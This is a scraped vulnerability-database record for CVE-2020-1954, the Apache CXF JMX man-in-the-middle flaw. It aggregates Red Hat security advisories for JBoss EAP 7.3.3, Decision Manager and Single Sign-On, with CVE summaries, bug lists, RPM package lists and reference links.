l_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-entitymanager-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-envers-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-java8-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-validator-6.0.20-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-validator-cdi-6.0.20-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-cachestore-jdbc-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-cachestore-remote-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-client-hotrod-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-commons-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-core-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-hibernate-cache-commons-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-hibernate-cache-spi-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-infinispan-hibernate-cache-v53-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-common-api-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-common-impl-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-common-spi-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-core-api-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-core-impl-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-deployers-common-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-jdbc-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ironjacamar-validator-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-annotations-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-core-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-databind-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-datatype-jdk8-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-datatype-jsr310-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-jaxrs-base-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-jaxrs-json-provider-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-module-jaxb-annotations-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-modules-base-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jackson-modules-java8-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-genericjms-2.0.6-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-jsf-api_2.3_spec-3.0.0-4.SP04_redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-logmanager-2.1.15-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-server-migration-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-cli-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-core-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap6.4-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap6.4-to-eap7.3-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.1-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.2-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.2-to-eap7.3-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.3-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly10.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly10.1-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly11.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly12.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly13.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly14.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly15.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly16.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly17.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly18.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly8.2-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly9.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm\neap7-jboss-xnio-base-3.7.8-1.SP1_redhat_00001.1.el8eap.noarch.rpm\neap7-netty-4.1.48-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-netty-all-4.1.48-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-undertow-2.0.30-4.SP4_redhat_00001.1.el8eap.noarch.rpm\neap7-undertow-server-1.6.2-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-7.3.2-4.GA_redhat_00002.1.el8eap.noarch.rpm\neap7-wildfly-common-1.5.2-1.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-wildfly-elytron-1.10.7-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-elytron-tool-1.10.7-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-http-client-common-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-http-ejb-client-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-http-naming-client-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-http-transaction-client-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-javadocs-7.3.2-4.GA_redhat_00002.1.el8eap.noarch.rpm\neap7-wildfly-modules-7.3.2-4.GA_redhat_00002.1.el8eap.noarch.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n8. References:\n\nhttps://access.redhat.com/security/cve/CVE-2019-14900\nhttps://access.redhat.com/security/cve/CVE-2020-1710\nhttps://access.redhat.com/security/cve/CVE-2020-1748\nhttps://access.redhat.com/security/cve/CVE-2020-10672\nhttps://access.redhat.com/security/cve/CVE-2020-10673\nhttps://access.redhat.com/security/cve/CVE-2020-10683\nhttps://access.redhat.com/security/cve/CVE-2020-10687\nhttps://access.redhat.com/security/cve/CVE-2020-10693\nhttps://access.redhat.com/security/cve/CVE-2020-10714\nhttps://access.redhat.com/security/cve/CVE-2020-10718\nhttps://access.redhat.com/security/cve/CVE-2020-10740\nhttps://access.redhat.com/security/cve/CVE-2020-14297\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/\nhttps://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/\n\n9. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. 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Description:\n\nRed Hat Decision Manager is an open source decision management platform\nthat combines business rules management, complex event processing, Decision\nModel \u0026 Notation (DMN) execution, and Business Optimizer for solving\nplanning problems. It automates business decisions and makes that logic\navailable to the entire business. \n\nIt is recommended to halt the server by stopping the JBoss Application\nServer process before installing this update; after installing the update,\nrestart the server by starting the JBoss Application Server process. \n\nThe References section of this erratum contains a download link (you must\nlog in to download the update)",
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VAR-202004-0983
Vulnerability from variot - Updated: 2026-04-10 22:22Apache CXF has the ability to integrate with JMX by registering an InstrumentationManager extension with the CXF bus. If the ‘createMBServerConnectorFactory‘ property of the default InstrumentationManagerImpl is not disabled, then it is vulnerable to a man-in-the-middle (MITM) style attack. An attacker on the same host can connect to the registry and rebind the entry to another server, thus acting as a proxy to the original. They are then able to gain access to all of the information that is sent and received over JMX. Apache CXF There is an information leakage vulnerability in.Information may be obtained. Apache CXF is an open source Web service framework of the Apache Software Foundation. The framework supports a variety of Web service standards, a variety of front-end programming API and so on.
The References section of this erratum contains a download link (you must log in to download the update).
The JBoss server process must be restarted for the update to take effect. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Moderate: Red Hat JBoss Enterprise Application Platform 7.3.3 security update on RHEL 8 Advisory ID: RHSA-2020:4245-01 Product: Red Hat JBoss Enterprise Application Platform Advisory URL: https://access.redhat.com/errata/RHSA-2020:4245 Issue date: 2020-10-13 CVE Names: CVE-2020-1954 CVE-2020-14299 CVE-2020-14338 CVE-2020-14340 ==================================================================== 1. Summary:
An update is now available for Red Hat JBoss Enterprise Application Platform 7.3 for RHEL 8.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat JBoss EAP 7.3 for BaseOS-8 - noarch, x86_64
- Description:
Red Hat JBoss Enterprise Application Platform 7 is a platform for Java applications based on the WildFly application runtime.
This release of Red Hat JBoss Enterprise Application Platform 7.3.3 serves as a replacement for Red Hat JBoss Enterprise Application Platform 7.3.2 and includes bug fixes and enhancements. See the Red Hat JBoss Enterprise Application Platform 7.3.3 Release Notes for information about the most significant bug fixes and enhancements included in this release.
Security Fix(es):
-
picketbox: JBoss EAP reload to admin-only mode allows authentication bypass (CVE-2020-14299)
-
wildfly: XML validation manipulation due to incomplete application of use-grammar-pool-only in xercesImpl (CVE-2020-14338)
-
xnio: file descriptor leak caused by growing amounts of NIO Selector file handles may lead to DoS (CVE-2020-14340)
-
cxf: JMX integration is vulnerable to a MITM attack (CVE-2020-1954)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
Before applying this update, back up your existing Red Hat JBoss Enterprise Application Platform installation and deployed applications.
For details about how to apply this update, see:
https://access.redhat.com/articles/11258
- Bugs fixed (https://bugzilla.redhat.com/):
1824301 - CVE-2020-1954 cxf: JMX integration is vulnerable to a MITM attack 1848533 - CVE-2020-14299 picketbox: JBoss EAP reload to admin-only mode allows authentication bypass 1860054 - CVE-2020-14338 wildfly: XML validation manipulation due to incomplete application of use-grammar-pool-only in xercesImpl 1860218 - CVE-2020-14340 xnio: file descriptor leak caused by growing amounts of NIO Selector file handles may lead to DoS
- JIRA issues fixed (https://issues.jboss.org/):
JBEAP-19379 - GSS Upgrade Hibernate ORM from 5.3.17 to 5.3.18 JBEAP-19444 - Tracker bug for the EAP 7.3.3 release for RHEL-8 JBEAP-19596 - GSS CMTOOL-277 - Migration from EAP 6.4 Update 22 to EAP 7.3 create a misspelled 'Application Realm' JBEAP-19613 - (7.3.z) ELY-1975 - Update AcmeClientSpi#obtainCertificate so that it obtains the order URL from the response to newOrder JBEAP-19615 - (7.3.z) ELY-1968 - Update error message returned by AcmeClientSpi#getLocation JBEAP-19642 - (7.3.z) Upgrade jberet-core from 1.3.5.Final to 1.3.7.Final JBEAP-19695 - GSS Upgrade Apache CXF from 3.3.5 to 3.3.7 JBEAP-19698 - GSS Upgrade Invocation from 1.5.2.Final-redhat-00001 to 1.5.3.Final... JBEAP-19700 - GSS Upgrade Migration Tool from 1.7.1-redhat-00003 to 1.7.2-redhat-00001 JBEAP-19701 - GSS Upgrade jgroups from 4.1.4.Final-redhat-00001 to 4.1.10.Final-redhat-00001 JBEAP-19715 - GSS Upgrade Artemis Native to 1.0.2 JBEAP-19746 - GSS Upgrade JBoss Log Manager from 2.1.15 to 2.1.17 JBEAP-19789 - GSS Upgrade Narayana from 5.9.8.Final to 5.9.9.Final JBEAP-19791 - GSS Upgrade HAL from 3.2.9.Final-redhat-00001 to 3.2.10.Final-redhat-00001 JBEAP-19795 - (7.3.z) Upgrade JSF based on Mojarra 2.3.9.SP11-redhat-00001 to 2.3.9.SP12-redhat-00001 JBEAP-19796 - GSS Upgrade Artemis from 2.9.0.redhat-00010 to 2.9.0.redhat-00011 JBEAP-19822 - (7.3.z) Upgrade MP fault-tolerance to 2.1.1 JBEAP-19888 - (7.3.z) Upgrade SmallRye OpenAPI to 1.1.23 JBEAP-19934 - (7.3.z) Upgrade bouncycastle to 1.65 JBEAP-19935 - (7.3.z) Upgrade commons-codec to 1.14 JBEAP-19936 - (7.3.z) Upgrade commons-lang3 from 3.9 to 3.10 JBEAP-19937 - (7.3.z) Upgrade snakeyaml to 1.26 JBEAP-19938 - (7.3.z) Upgrade velocity to 2.2 JBEAP-19939 - (7.3.z) Upgrade httpcomponents httpclient from 4.5.4 to 4.5.12 JBEAP-19940 - (7.3.z) Upgrade httpcomponents httpcore from 4.4.5 to 4.4.13 JBEAP-19942 - (7.3.z) Upgrade XNIO from 3.7.8.SP1 to 3.7.9.Final JBEAP-19955 - (7.3.z) Update xmlschema to 2.2.5 JBEAP-19965 - (7.3.z) Fix PreservePathTestCase after httpclient upgrade JBEAP-20027 - (7.3.z) Upgrade PicketLink bindings from 2.5.5.SP12-redhat-00012 to 2.5.5.SP12-redhat-00013 JBEAP-20037 - GSS Upgrade wildfly-transaction-client from 1.1.11.Final-redhat-00001 to 1.1.13.Final-redhat-00001 JBEAP-20064 - (7.3.z) Update PR template to include PR-processor hints for wildfly-core-eap JBEAP-20087 - GSS WFLY-13147 - Deployment slowdown after WFLY upgrade (DeploymentArchive handling) JBEAP-20112 - (7.3.z) Upgrade smallrye-fault-tolerance to 4.2.1
- Package List:
Red Hat JBoss EAP 7.3 for BaseOS-8:
Source: eap7-activemq-artemis-2.9.0-5.redhat_00011.1.el8eap.src.rpm eap7-activemq-artemis-native-1.0.2-1.redhat_00001.1.el8eap.src.rpm eap7-apache-commons-codec-1.14.0-1.redhat_00001.1.el8eap.src.rpm eap7-apache-commons-lang-3.10.0-1.redhat_00001.1.el8eap.src.rpm eap7-apache-cxf-3.3.7-1.redhat_00001.1.el8eap.src.rpm eap7-artemis-native-1.0.2-3.redhat_1.el8eap.src.rpm eap7-bouncycastle-1.65.0-1.redhat_00001.1.el8eap.src.rpm eap7-glassfish-jsf-2.3.9-11.SP12_redhat_00001.1.el8eap.src.rpm eap7-hal-console-3.2.10-1.Final_redhat_00001.1.el8eap.src.rpm eap7-hibernate-5.3.18-1.Final_redhat_00001.1.el8eap.src.rpm eap7-httpcomponents-client-4.5.12-1.redhat_00001.1.el8eap.src.rpm eap7-httpcomponents-core-4.4.13-1.redhat_00001.1.el8eap.src.rpm eap7-jberet-1.3.7-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jboss-invocation-1.5.3-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jboss-logmanager-2.1.17-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jboss-server-migration-1.7.2-2.Final_redhat_00002.1.el8eap.src.rpm eap7-jboss-xnio-base-3.7.9-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jgroups-4.1.10-1.Final_redhat_00001.1.el8eap.src.rpm eap7-narayana-5.9.9-1.Final_redhat_00001.1.el8eap.src.rpm eap7-picketbox-5.0.3-8.Final_redhat_00007.1.el8eap.src.rpm eap7-picketlink-bindings-2.5.5-25.SP12_redhat_00013.1.el8eap.src.rpm eap7-snakeyaml-1.26.0-1.redhat_00001.1.el8eap.src.rpm eap7-undertow-2.0.31-1.SP1_redhat_00001.1.el8eap.src.rpm eap7-velocity-2.2.0-1.redhat_00001.1.el8eap.src.rpm eap7-wildfly-7.3.3-4.GA_redhat_00004.1.el8eap.src.rpm eap7-wildfly-elytron-1.10.8-1.Final_redhat_00001.1.el8eap.src.rpm eap7-wildfly-transaction-client-1.1.13-1.Final_redhat_00001.1.el8eap.src.rpm eap7-ws-commons-XmlSchema-2.2.5-1.redhat_00001.1.el8eap.src.rpm eap7-xerces-j2-2.12.0-2.SP03_redhat_00001.1.el8eap.src.rpm
noarch: eap7-activemq-artemis-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-cli-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-commons-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-core-client-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-dto-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-hornetq-protocol-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-hqclient-protocol-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-jdbc-store-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-jms-client-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-jms-server-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-journal-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-native-1.0.2-1.redhat_00001.1.el8eap.noarch.rpm eap7-activemq-artemis-ra-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-selector-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-server-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-service-extensions-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-activemq-artemis-tools-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm eap7-apache-commons-codec-1.14.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-apache-commons-lang-3.10.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-apache-cxf-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm eap7-apache-cxf-rt-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm eap7-apache-cxf-services-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm eap7-apache-cxf-tools-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm eap7-bouncycastle-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-bouncycastle-mail-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-bouncycastle-pkix-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-bouncycastle-prov-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-glassfish-jsf-2.3.9-11.SP12_redhat_00001.1.el8eap.noarch.rpm eap7-hal-console-3.2.10-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-core-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-entitymanager-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-envers-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-java8-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-httpcomponents-client-4.5.12-1.redhat_00001.1.el8eap.noarch.rpm eap7-httpcomponents-core-4.4.13-1.redhat_00001.1.el8eap.noarch.rpm eap7-jberet-1.3.7-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jberet-core-1.3.7-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jboss-invocation-1.5.3-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jboss-logmanager-2.1.17-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jboss-server-migration-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-cli-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-core-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap6.4-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap6.4-to-eap7.3-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.1-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.2-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.2-to-eap7.3-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.3-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly10.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly10.1-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly11.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly12.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly13.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly14.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly15.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly16.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly17.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly18.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly8.2-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly9.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm eap7-jboss-xnio-base-3.7.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jgroups-4.1.10-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-compensations-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-jbosstxbridge-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-jbossxts-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-jts-idlj-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-jts-integration-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-restat-api-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-restat-bridge-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-restat-integration-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-restat-util-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-narayana-txframework-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-picketbox-5.0.3-8.Final_redhat_00007.1.el8eap.noarch.rpm eap7-picketbox-infinispan-5.0.3-8.Final_redhat_00007.1.el8eap.noarch.rpm eap7-picketlink-bindings-2.5.5-25.SP12_redhat_00013.1.el8eap.noarch.rpm eap7-picketlink-wildfly8-2.5.5-25.SP12_redhat_00013.1.el8eap.noarch.rpm eap7-snakeyaml-1.26.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-undertow-2.0.31-1.SP1_redhat_00001.1.el8eap.noarch.rpm eap7-velocity-2.2.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-velocity-engine-core-2.2.0-1.redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-7.3.3-4.GA_redhat_00004.1.el8eap.noarch.rpm eap7-wildfly-elytron-1.10.8-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-elytron-tool-1.10.8-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-javadocs-7.3.3-4.GA_redhat_00004.1.el8eap.noarch.rpm eap7-wildfly-modules-7.3.3-4.GA_redhat_00004.1.el8eap.noarch.rpm eap7-wildfly-transaction-client-1.1.13-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ws-commons-XmlSchema-2.2.5-1.redhat_00001.1.el8eap.noarch.rpm eap7-xerces-j2-2.12.0-2.SP03_redhat_00001.1.el8eap.noarch.rpm
x86_64: eap7-artemis-native-1.0.2-3.redhat_1.el8eap.x86_64.rpm eap7-artemis-native-wildfly-1.0.2-3.redhat_1.el8eap.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2020-1954 https://access.redhat.com/security/cve/CVE-2020-14299 https://access.redhat.com/security/cve/CVE-2020-14338 https://access.redhat.com/security/cve/CVE-2020-14340 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/ https://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . Description:
Red Hat Decision Manager is an open source decision management platform that combines business rules management, complex event processing, Decision Model & Notation (DMN) execution, and Business Optimizer for solving planning problems. It automates business decisions and makes that logic available to the entire business.
Security Fix(es):
-
hibernate: SQL injection issue in Hibernate ORM (CVE-2019-14900)
-
batik: SSRF via "xlink:href" (CVE-2019-17566)
-
Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain (CVE-2020-1748)
-
ant: insecure temporary file vulnerability (CVE-2020-1945)
-
dom4j: XML External Entity vulnerability in default SAX parser (CVE-2020-10683)
-
hibernate-validator: Improper input validation in the interpolation of constraint error messages (CVE-2020-10693)
-
wildfly-elytron: session fixation when using FORM authentication (CVE-2020-10714)
-
cxf: JMX integration is vulnerable to a MITM attack (CVE-2020-1954)
-
mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete (CVE-2020-2875)
-
mysql-connector-java: allows high privileged attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized partial DoS (CVE-2020-2933)
-
mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete (CVE-2020-2934)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):
1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM 1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser 1805501 - CVE-2020-10693 hibernate-validator: Improper input validation in the interpolation of constraint error messages 1807707 - CVE-2020-1748 Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain 1824301 - CVE-2020-1954 cxf: JMX integration is vulnerable to a MITM attack 1825714 - CVE-2020-10714 wildfly-elytron: session fixation when using FORM authentication 1837444 - CVE-2020-1945 ant: insecure temporary file vulnerability 1848617 - CVE-2019-17566 batik: SSRF via "xlink:href" 1851014 - CVE-2020-2934 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete 1851019 - CVE-2020-2875 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete 1851022 - CVE-2020-2933 mysql-connector-java: allows high privileged attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized partial DoS
- Description:
Red Hat Single Sign-On 7.4 is a standalone server, based on the Keycloak project, that provides authentication and standards-based single sign-on capabilities for web and mobile applications
Show details on source website{
"affected_products": {
"_id": null,
"data": [
{
"_id": null,
"model": "communications session report manager",
"scope": "lte",
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"description": {
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"data": "Apache CXF has the ability to integrate with JMX by registering an InstrumentationManager extension with the CXF bus. If the \u2018createMBServerConnectorFactory\u2018 property of the default InstrumentationManagerImpl is not disabled, then it is vulnerable to a man-in-the-middle (MITM) style attack. An attacker on the same host can connect to the registry and rebind the entry to another server, thus acting as a proxy to the original. They are then able to gain access to all of the information that is sent and received over JMX. Apache CXF There is an information leakage vulnerability in.Information may be obtained. Apache CXF is an open source Web service framework of the Apache Software Foundation. The framework supports a variety of Web service standards, a variety of front-end programming API and so on. \n\nThe References section of this erratum contains a download link (you must\nlog in to download the update). \n\nThe JBoss server process must be restarted for the update to take effect. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Moderate: Red 